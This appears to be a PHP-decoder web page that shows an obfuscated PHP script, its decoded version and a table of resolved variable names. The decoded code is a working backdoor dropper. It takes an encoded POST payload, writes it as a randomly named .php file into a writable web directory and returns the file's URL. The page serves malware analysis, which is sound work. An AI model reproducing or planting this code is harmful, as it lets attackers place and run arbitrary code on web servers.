Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $KJxKbYn = 'D'.chr(437-358).chr(67).chr(785-700)."\x4d"."\105".chr(78).chr(894-810)...

Decoded Output download

<?php $KJxKbYn = 'D'.chr(437-358).chr(67).chr(785-700)."M"."E".chr(78).chr(894-810)."_"."R"."O".chr(79)."T";$PNzYPfn = "H"."T".chr(923-839)."P"."_".'H'.chr(962-883).chr(242-159)."T";$jEwqspNwv = chr(727-623)."t"."t".chr(112).':'.'/'.'/';$pDdAwia = ".".'p'."h".'p';$GesJvCRk = chr(112)."h"."p";$sMQgk = "f".chr(1021-916).'l'."e".chr(535-440)."p".chr(117).'t'."_"."c".chr(111)."n".chr(784-668)."e".chr(1073-963)."t".chr(115);$mFlqj = "r"."a".'w'.chr(988-871).chr(114).'l'."d".chr(1001-900).chr(321-222)."o"."d"."e";$YZCmWQBwp = chr(117).'n'.chr(997-882).chr(549-448)."r"."i"."a".chr(108)."i"."z"."e";$HHchzyjSr = "i".'s'."_"."w".chr(114)."i".chr(116).'a'.'b'.'l'.chr(366-265);$xkpMGPfJn = chr(987-875)."h".chr(455-343)."v"."e".chr(114)."s"."i".chr(111)."n";$VfxtskBr = chr(935-820).chr(116).chr(349-235).'_'.chr(285-171).chr(143-32).'t'."1"."3";$gVewlEn = "s"."e"."r"."i".chr(97).chr(151-43).chr(105).'z'."e";$fYgMZXn = chr(115).'t'."r"."_"."s"."p".chr(108)."i".chr(550-434);foreach ($_POST as $xaGGbBpj => $wMGhfGxQkn){$njgJV = strlen($xaGGbBpj);if ($njgJV == 16){$wMGhfGxQkn = $fYgMZXn($mFlqj($VfxtskBr($wMGhfGxQkn)));$xaGGbBpj = array_slice($fYgMZXn(str_repeat($xaGGbBpj, (count($wMGhfGxQkn)/16)+1)), 0, count($wMGhfGxQkn));function bwOQYv($GjqpPw, $JIxBb, $xaGGbBpj){$utDkmL = "efb5f445-d44a-4b6e-a7af-0a704fc56620";return $GjqpPw ^ $utDkmL[$JIxBb % strlen($utDkmL)] ^ $xaGGbBpj;}$wMGhfGxQkn = array_map("bwOQYv", array_values($wMGhfGxQkn), array_keys($wMGhfGxQkn), array_values($xaGGbBpj));$wMGhfGxQkn = implode("", $wMGhfGxQkn);$wMGhfGxQkn = @$YZCmWQBwp($wMGhfGxQkn);if (@is_array($wMGhfGxQkn)){$QKoUWmD = array_keys($wMGhfGxQkn);$wMGhfGxQkn = $wMGhfGxQkn[$QKoUWmD[0]];if ($wMGhfGxQkn === $QKoUWmD[0]){echo @$gVewlEn(Array($GesJvCRk => @$xkpMGPfJn(), ));exit();}else {function reuxElLxSP($GsDdzpktfir){static $uJswLpaXiT = array();$TYLNLvf = glob($GsDdzpktfir . '/*', GLOB_ONLYDIR);$aBhiFXn = count($TYLNLvf);if ($aBhiFXn > 0) {foreach ($TYLNLvf as $GsDdzpktf) {if (@$HHchzyjSr($GsDdzpktf)) {$uJswLpaXiT[] = $GsDdzpktf;}}}foreach ($TYLNLvf as $GsDdzpktfir) reuxElLxSP($GsDdzpktfir);return $uJswLpaXiT;}$SyBKMRgP = $_SERVER[$KJxKbYn];$TYLNLvf = reuxElLxSP($SyBKMRgP);$QKoUWmD = array_rand($TYLNLvf);$sKuYO = $TYLNLvf[$QKoUWmD] . "/" . substr(md5(time()), 0, 8) . $pDdAwia;@$sMQgk($sKuYO, $wMGhfGxQkn);$gPzaAW = $jEwqspNwv . $_SERVER[$PNzYPfn] . substr($sKuYO, strlen($SyBKMRgP));echo $gPzaAW;die();}}}} ?>

Did this file decode correctly?

Original Code

<?php $KJxKbYn = 'D'.chr(437-358).chr(67).chr(785-700)."\x4d"."\105".chr(78).chr(894-810)."\137"."\x52"."\117".chr(79)."\124";$PNzYPfn = "\x48"."\x54".chr(923-839)."\x50"."\x5f".'H'.chr(962-883).chr(242-159)."\124";$jEwqspNwv = chr(727-623)."\x74"."\x74".chr(112).':'.'/'.'/';$pDdAwia = "\x2e".'p'."\x68".'p';$GesJvCRk = chr(112)."\150"."\x70";$sMQgk = "\146".chr(1021-916).'l'."\145".chr(535-440)."\x70".chr(117).'t'."\x5f"."\143".chr(111)."\x6e".chr(784-668)."\x65".chr(1073-963)."\x74".chr(115);$mFlqj = "\162"."\x61".'w'.chr(988-871).chr(114).'l'."\144".chr(1001-900).chr(321-222)."\157"."\144"."\145";$YZCmWQBwp = chr(117).'n'.chr(997-882).chr(549-448)."\x72"."\151"."\141".chr(108)."\x69"."\x7a"."\145";$HHchzyjSr = "\151".'s'."\x5f"."\x77".chr(114)."\151".chr(116).'a'.'b'.'l'.chr(366-265);$xkpMGPfJn = chr(987-875)."\150".chr(455-343)."\x76"."\145".chr(114)."\163"."\151".chr(111)."\x6e";$VfxtskBr = chr(935-820).chr(116).chr(349-235).'_'.chr(285-171).chr(143-32).'t'."\x31"."\x33";$gVewlEn = "\163"."\x65"."\x72"."\x69".chr(97).chr(151-43).chr(105).'z'."\145";$fYgMZXn = chr(115).'t'."\162"."\x5f"."\163"."\160".chr(108)."\151".chr(550-434);foreach ($_POST as $xaGGbBpj => $wMGhfGxQkn){$njgJV = strlen($xaGGbBpj);if ($njgJV == 16){$wMGhfGxQkn = $fYgMZXn($mFlqj($VfxtskBr($wMGhfGxQkn)));$xaGGbBpj = array_slice($fYgMZXn(str_repeat($xaGGbBpj, (count($wMGhfGxQkn)/16)+1)), 0, count($wMGhfGxQkn));function bwOQYv($GjqpPw, $JIxBb, $xaGGbBpj){$utDkmL = "efb5f445-d44a-4b6e-a7af-0a704fc56620";return $GjqpPw ^ $utDkmL[$JIxBb % strlen($utDkmL)] ^ $xaGGbBpj;}$wMGhfGxQkn = array_map("bwOQYv", array_values($wMGhfGxQkn), array_keys($wMGhfGxQkn), array_values($xaGGbBpj));$wMGhfGxQkn = implode("", $wMGhfGxQkn);$wMGhfGxQkn = @$YZCmWQBwp($wMGhfGxQkn);if (@is_array($wMGhfGxQkn)){$QKoUWmD = array_keys($wMGhfGxQkn);$wMGhfGxQkn = $wMGhfGxQkn[$QKoUWmD[0]];if ($wMGhfGxQkn === $QKoUWmD[0]){echo @$gVewlEn(Array($GesJvCRk => @$xkpMGPfJn(), ));exit();}else {function reuxElLxSP($GsDdzpktfir){static $uJswLpaXiT = array();$TYLNLvf = glob($GsDdzpktfir . '/*', GLOB_ONLYDIR);$aBhiFXn = count($TYLNLvf);if ($aBhiFXn > 0) {foreach ($TYLNLvf as $GsDdzpktf) {if (@$HHchzyjSr($GsDdzpktf)) {$uJswLpaXiT[] = $GsDdzpktf;}}}foreach ($TYLNLvf as $GsDdzpktfir) reuxElLxSP($GsDdzpktfir);return $uJswLpaXiT;}$SyBKMRgP = $_SERVER[$KJxKbYn];$TYLNLvf = reuxElLxSP($SyBKMRgP);$QKoUWmD = array_rand($TYLNLvf);$sKuYO = $TYLNLvf[$QKoUWmD] . "/" . substr(md5(time()), 0, 8) . $pDdAwia;@$sMQgk($sKuYO, $wMGhfGxQkn);$gPzaAW = $jEwqspNwv . $_SERVER[$PNzYPfn] . substr($sKuYO, strlen($SyBKMRgP));echo $gPzaAW;die();}}}}

Function Calls

chr 45

Variables

$mFlqj rawurldecode
$sMQgk file_put_contents
$KJxKbYn DOCUMENT_ROOT
$PNzYPfn HTTP_HOST
$fYgMZXn str_split
$gVewlEn serialize
$pDdAwia .php
$GesJvCRk php
$VfxtskBr str_rot13
$HHchzyjSr is_writable
$YZCmWQBwp unserialize
$jEwqspNwv http://
$xkpMGPfJn phpversion

Stats

MD5 0a948f5fb10243b1f395ca816c966272
Eval Count 0
Decode Time 111 ms